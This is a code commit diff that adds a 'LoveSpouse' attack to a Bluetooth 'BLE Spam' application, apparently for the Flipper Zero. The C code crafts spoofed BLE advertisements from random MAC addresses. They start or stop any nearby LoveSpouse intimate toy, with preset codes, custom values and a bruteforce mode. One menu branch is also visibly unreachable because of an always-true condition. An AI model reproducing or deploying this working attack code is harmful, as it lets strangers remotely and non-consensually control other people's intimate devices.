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Add Love Spouse toys to BLE Spam
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First discovered by @mandomat
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Willy-JL committed Nov 14, 2023
1 parent b0fcb61 commit 1451c4f
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Showing 8 changed files with 343 additions and 0 deletions.
26 changes: 26 additions & 0 deletions applications/external/ble_spam/ble_spam.c
Original file line number Diff line number Diff line change
Expand Up @@ -108,6 +108,32 @@ static Attack attacks[] = {
.cfg.swiftpair = {},
},
},
{
.title = "Vibrate 'em All",
.text = "Activate all LoveSpouse toys",
.protocol = &protocol_lovespouse,
.payload =
{
.random_mac = true,
.cfg.lovespouse =
{
.state = LovespouseStatePlay,
},
},
},
{
.title = "Denial of Pleasure",
.text = "Disable all LoveSpouse toys",
.protocol = &protocol_lovespouse,
.payload =
{
.random_mac = true,
.cfg.lovespouse =
{
.state = LovespouseStateStop,
},
},
},
};

#define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
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Binary file added applications/external/ble_spam/icons/heart.png
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1 change: 1 addition & 0 deletions applications/external/ble_spam/protocols/_protocols.c
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ const Protocol* protocols[] = {
&protocol_continuity,
&protocol_easysetup,
&protocol_fastpair,
&protocol_lovespouse,
&protocol_swiftpair,
};

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2 changes: 2 additions & 0 deletions applications/external/ble_spam/protocols/_protocols.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
#include "continuity.h"
#include "easysetup.h"
#include "fastpair.h"
#include "lovespouse.h"
#include "swiftpair.h"

typedef enum {
Expand All @@ -23,6 +24,7 @@ struct Payload {
ContinuityCfg continuity;
EasysetupCfg easysetup;
FastpairCfg fastpair;
LovespouseCfg lovespouse;
SwiftpairCfg swiftpair;
} cfg;
};
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1 change: 1 addition & 0 deletions applications/external/ble_spam/protocols/_scenes.h
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
#include "continuity_scenes.h"
#include "easysetup_scenes.h"
#include "fastpair_scenes.h"
#include "lovespouse_scenes.h"
#include "swiftpair_scenes.h"
292 changes: 292 additions & 0 deletions applications/external/ble_spam/protocols/lovespouse.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,292 @@
#include "lovespouse.h"
#include "_protocols.h"

// Hacked together by @Willy-JL
// Discovered by @mandomat
// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/

typedef struct {
uint32_t value;
const char* name;
} LovespouseMode;

static const LovespouseMode plays[] = {
{0xE49C6C, "Classic 1"}, {0xE7075E, "Classic 2"}, {0xE68E4F, "Classic 3"},
{0xE1313B, "Classic 4"}, {0xE0B82A, "Classic 5"}, {0xE32318, "Classic 6"},
{0xE2AA09, "Classic 7"}, {0xED5DF1, "Classic 8"}, {0xECD4E0, "Classic 9"},
{0xD41F5D, "Independent 1-1"}, {0xD7846F, "Independent 1-2"}, {0xD60D7E, "Independent 1-3"},
{0xD1B20A, "Independent 1-4"}, {0xD0B31B, "Independent 1-5"}, {0xD3A029, "Independent 1-6"},
{0xD22938, "Independent 1-7"}, {0xDDDEC0, "Independent 1-8"}, {0xDC57D1, "Independent 1-9"},
{0xA4982E, "Independent 2-1"}, {0xA7031C, "Independent 2-2"}, {0xA68A0D, "Independent 2-3"},
{0xA13579, "Independent 2-4"}, {0xA0BC68, "Independent 2-5"}, {0xA3275A, "Independent 2-6"},
{0xA2AE4B, "Independent 2-7"}, {0xAD59B3, "Independent 2-8"}, {0xACD0A2, "Independent 2-9"},
};

static const LovespouseMode stops[] = {
{0xE5157D, "Classic Stop"},
{0xD5964C, "Independent 1 Stop"},
{0xA5113F, "Independent 2 Stop"},
};

static const struct {
const LovespouseMode* modes;
uint8_t count;
} modes[LovespouseStateCOUNT] = {
[0] = {plays, COUNT_OF(plays)},
[LovespouseStatePlay] = {plays, COUNT_OF(plays)},
[LovespouseStateStop] = {stops, COUNT_OF(stops)},
};

static const char* get_name(const Payload* payload) {
UNUSED(payload);
return "LoveSpouse";
}

static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
LovespouseCfg* cfg = payload ? &payload->cfg.lovespouse : NULL;

LovespouseState state;
if(cfg && cfg->state != 0x00) {
state = cfg->state;
} else {
const LovespouseState states[] = {
LovespouseStatePlay,
LovespouseStateStop,
};
state = states[rand() % COUNT_OF(states)];
}

uint32_t mode;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
mode = modes[state].modes[rand() % modes[state].count].value;
break;
case PayloadModeValue:
mode = cfg->mode;
break;
case PayloadModeBruteforce:
mode = cfg->mode = payload->bruteforce.value;
break;
}

uint8_t size = 22;
uint8_t* packet = malloc(size);
uint8_t i = 0;

packet[i++] = 2; // Size
packet[i++] = 0x01; // AD Type (Flags)
packet[i++] = 0x1A; // Flags

packet[i++] = 14; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0xFF; // Company ID (Typo Products, LLC)
packet[i++] = 0x00; // ...
packet[i++] = 0x6D;
packet[i++] = 0xB6;
packet[i++] = 0x43;
packet[i++] = 0xCE;
packet[i++] = 0x97;
packet[i++] = 0xFE;
packet[i++] = 0x42;
packet[i++] = 0x7C;
packet[i++] = (mode >> 0x10) & 0xFF;
packet[i++] = (mode >> 0x08) & 0xFF;
packet[i++] = (mode >> 0x00) & 0xFF;

packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x8F; // Service UUID (Unregistered)
packet[i++] = 0xAE; // ...

*_size = size;
*_packet = packet;
}

enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigMode,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigMode:
scene_manager_next_scene(ctx->scene_manager, SceneLovespouseMode);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void mode_changed(VariableItem* item) {
Payload* payload = variable_item_get_context(item);
LovespouseCfg* cfg = &payload->cfg.lovespouse;
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
payload->mode = PayloadModeValue;
cfg->mode = modes[cfg->state].modes[index].value;
variable_item_set_current_value_text(item, modes[cfg->state].modes[index].name);
} else {
payload->mode = PayloadModeRandom;
variable_item_set_current_value_text(item, "Random");
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
LovespouseCfg* cfg = &payload->cfg.lovespouse;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;

item = variable_item_list_add(
list, "Toy Mode", modes[cfg->state].count + 1, mode_changed, payload);
const char* mode_name = NULL;
char mode_name_buf[9];
switch(payload->mode) {
case PayloadModeRandom:
default:
mode_name = "Random";
value_index = 0;
break;
case PayloadModeValue:
for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
if(cfg->mode == modes[cfg->state].modes[i].value) {
mode_name = modes[cfg->state].modes[i].name;
value_index = i + 1;
break;
}
}
if(!mode_name) {
snprintf(mode_name_buf, sizeof(mode_name_buf), "%06lX", cfg->mode);
mode_name = mode_name_buf;
value_index = modes[cfg->state].count + 1;
}
break;
case PayloadModeBruteforce:
mode_name = "Bruteforce";
value_index = modes[cfg->state].count + 1;
break;
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, mode_name);

variable_item_list_set_enter_callback(list, config_callback, ctx);
}

static uint8_t config_count(const Payload* payload) {
UNUSED(payload);
return ConfigCOUNT - ConfigExtraStart - 1;
}

const Protocol protocol_lovespouse = {
.icon = &I_heart,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};

static void mode_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
LovespouseCfg* cfg = &payload->cfg.lovespouse;
if(index == 0) {
payload->mode = PayloadModeRandom;
scene_manager_previous_scene(ctx->scene_manager);
} else if(index == modes[cfg->state].count + 1U) {
scene_manager_next_scene(ctx->scene_manager, SceneLovespouseModeCustom);
} else if(modes[cfg->state].count + 2U) {
payload->mode = PayloadModeBruteforce;
payload->bruteforce.counter = 0;
payload->bruteforce.value = cfg->mode;
payload->bruteforce.size = 3;
scene_manager_previous_scene(ctx->scene_manager);
} else {
payload->mode = PayloadModeValue;
cfg->mode = modes[cfg->state].modes[index - 1].value;
scene_manager_previous_scene(ctx->scene_manager);
}
}
void scene_lovespouse_mode_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
LovespouseCfg* cfg = &payload->cfg.lovespouse;
Submenu* submenu = ctx->submenu;
uint32_t selected = 0;
submenu_reset(submenu);

submenu_add_item(submenu, "Random", 0, mode_callback, ctx);
if(payload->mode == PayloadModeRandom) {
selected = 0;
}

bool found = false;
for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
submenu_add_item(submenu, modes[cfg->state].modes[i].name, i + 1, mode_callback, ctx);
if(!found && payload->mode == PayloadModeValue &&
cfg->mode == modes[cfg->state].modes[i].value) {
found = true;
selected = i + 1;
}
}
submenu_add_item(submenu, "Custom", modes[cfg->state].count + 1, mode_callback, ctx);
if(!found && payload->mode == PayloadModeValue) {
selected = modes[cfg->state].count + 1;
}

submenu_add_item(submenu, "Bruteforce", modes[cfg->state].count + 2, mode_callback, ctx);
if(payload->mode == PayloadModeBruteforce) {
selected = modes[cfg->state].count + 2;
}

submenu_set_selected_item(submenu, selected);

view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
}
bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_lovespouse_mode_on_exit(void* _ctx) {
UNUSED(_ctx);
}

static void mode_custom_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
LovespouseCfg* cfg = &payload->cfg.lovespouse;
payload->mode = PayloadModeValue;
cfg->mode =
(ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
scene_manager_previous_scene(ctx->scene_manager);
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_lovespouse_mode_custom_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
LovespouseCfg* cfg = &payload->cfg.lovespouse;
ByteInput* byte_input = ctx->byte_input;

byte_input_set_header_text(byte_input, "Enter custom Toy Mode");

ctx->byte_store[0] = (cfg->mode >> 0x10) & 0xFF;
ctx->byte_store[1] = (cfg->mode >> 0x08) & 0xFF;
ctx->byte_store[2] = (cfg->mode >> 0x00) & 0xFF;

byte_input_set_result_callback(
byte_input, mode_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);

view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
}
bool scene_lovespouse_mode_custom_on_event(void* _ctx, SceneManagerEvent event) {
UNUSED(_ctx);
UNUSED(event);
return false;
}
void scene_lovespouse_mode_custom_on_exit(void* _ctx) {
UNUSED(_ctx);
}
19 changes: 19 additions & 0 deletions applications/external/ble_spam/protocols/lovespouse.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#pragma once
#include "_base.h"

// Hacked together by @Willy-JL
// Discovered by @mandomat
// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/

typedef enum {
LovespouseStatePlay = 0x01, // Skip 0 as it means unset
LovespouseStateStop,
LovespouseStateCOUNT,
} LovespouseState;

typedef struct {
LovespouseState state;
uint32_t mode;
} LovespouseCfg;

extern const Protocol protocol_lovespouse;
2 changes: 2 additions & 0 deletions applications/external/ble_spam/protocols/lovespouse_scenes.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
ADD_SCENE(lovespouse_mode, LovespouseMode)
ADD_SCENE(lovespouse_mode_custom, LovespouseModeCustom)

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